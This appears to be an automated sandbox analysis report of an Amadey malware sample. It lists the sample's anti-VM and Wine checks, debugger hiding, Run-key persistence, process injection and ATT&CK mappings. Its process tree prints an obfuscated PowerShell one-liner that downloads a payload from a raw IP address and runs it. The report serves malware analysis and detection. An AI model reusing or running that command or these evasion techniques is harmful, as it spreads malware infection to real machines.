amadey | f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	skotes.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
6	2940	powershell.exe

Downloads MZ/PE file

Checks BIOS information in registry 2 TTPs 4 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	skotes.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe

Executes dropped EXE 3 IoCs

pid	Process
2808	skotes.exe
2960	K6UAlAU.exe
1256	wOKhy9f.exe

Identifies Wine through registry keys 2 TTPs 2 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Wine	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe
Key opened	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Wine	skotes.exe

Loads dropped DLL 5 IoCs

pid	Process
2228	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe
2228	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe
2808	skotes.exe
2808	skotes.exe
2808	skotes.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-312935884-697965778-3955649944-1000\Software\Microsoft\Windows\CurrentVersion\Run\Services = "C:\\Users\\Admin\\AppData\\Roaming\\244B7053AA6F2214332168\\244B7053AA6F2214332168.exe"	K6UAlAU.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2228	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe
2808	skotes.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\skotes.job	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2940	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	skotes.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
1280	ipconfig.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2228	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe
2808	skotes.exe
2960	K6UAlAU.exe
2940	powershell.exe

Suspicious use of AdjustPrivilegeToken 21 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2960	K6UAlAU.exe
Token: SeSecurityPrivilege	2960	K6UAlAU.exe
Token: SeTakeOwnershipPrivilege	2960	K6UAlAU.exe
Token: SeLoadDriverPrivilege	2960	K6UAlAU.exe
Token: SeSystemProfilePrivilege	2960	K6UAlAU.exe
Token: SeSystemtimePrivilege	2960	K6UAlAU.exe
Token: SeProfSingleProcessPrivilege	2960	K6UAlAU.exe
Token: SeIncBasePriorityPrivilege	2960	K6UAlAU.exe
Token: SeCreatePagefilePrivilege	2960	K6UAlAU.exe
Token: SeBackupPrivilege	2960	K6UAlAU.exe
Token: SeRestorePrivilege	2960	K6UAlAU.exe
Token: SeShutdownPrivilege	2960	K6UAlAU.exe
Token: SeDebugPrivilege	2960	K6UAlAU.exe
Token: SeSystemEnvironmentPrivilege	2960	K6UAlAU.exe
Token: SeRemoteShutdownPrivilege	2960	K6UAlAU.exe
Token: SeUndockPrivilege	2960	K6UAlAU.exe
Token: SeManageVolumePrivilege	2960	K6UAlAU.exe
Token: 33	2960	K6UAlAU.exe
Token: 34	2960	K6UAlAU.exe
Token: 35	2960	K6UAlAU.exe
Token: SeDebugPrivilege	2940	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2228	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 2228 wrote to memory of 2808	2228	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe	31
PID 2228 wrote to memory of 2808	2228	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe	31
PID 2228 wrote to memory of 2808	2228	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe	31
PID 2228 wrote to memory of 2808	2228	f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe	31
PID 2808 wrote to memory of 2960	2808	skotes.exe	33
PID 2808 wrote to memory of 2960	2808	skotes.exe	33
PID 2808 wrote to memory of 2960	2808	skotes.exe	33
PID 2808 wrote to memory of 2960	2808	skotes.exe	33
PID 2808 wrote to memory of 1256	2808	skotes.exe	34
PID 2808 wrote to memory of 1256	2808	skotes.exe	34
PID 2808 wrote to memory of 1256	2808	skotes.exe	34
PID 2808 wrote to memory of 1256	2808	skotes.exe	34
PID 1256 wrote to memory of 2940	1256	wOKhy9f.exe	35
PID 1256 wrote to memory of 2940	1256	wOKhy9f.exe	35
PID 1256 wrote to memory of 2940	1256	wOKhy9f.exe	35
PID 1256 wrote to memory of 1372	1256	wOKhy9f.exe	37
PID 1256 wrote to memory of 1372	1256	wOKhy9f.exe	37
PID 1256 wrote to memory of 1372	1256	wOKhy9f.exe	37
PID 2940 wrote to memory of 1280	2940	powershell.exe	38
PID 2940 wrote to memory of 1280	2940	powershell.exe	38
PID 2940 wrote to memory of 1280	2940	powershell.exe	38

C:\Users\Admin\AppData\Local\Temp\f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe
"C:\Users\Admin\AppData\Local\Temp\f638d07d2ed9ca3c918bbeef9d93b67b6409e8a174f516afa184019d7c94de58.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2228
- C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe
  "C:\Users\Admin\AppData\Local\Temp\abc3bc1985\skotes.exe"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Identifies Wine through registry keys
  - Loads dropped DLL
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Users\Admin\AppData\Local\Temp\1015193001\K6UAlAU.exe
    "C:\Users\Admin\AppData\Local\Temp\1015193001\K6UAlAU.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2960
- - C:\Users\Admin\AppData\Local\Temp\1015216001\wOKhy9f.exe
    "C:\Users\Admin\AppData\Local\Temp\1015216001\wOKhy9f.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1256
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/Z.png'')'; $F=I`E`X ($L,$Y,$V -Join '')|I`E`X"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2940
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /flushdns
        5⤵
        Gathers network information
        
        PID:1280
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1256 -s 568
      4⤵
      PID:1372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

2

Credential Access

Discovery

Query Registry

3

System Information Discovery

3

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

2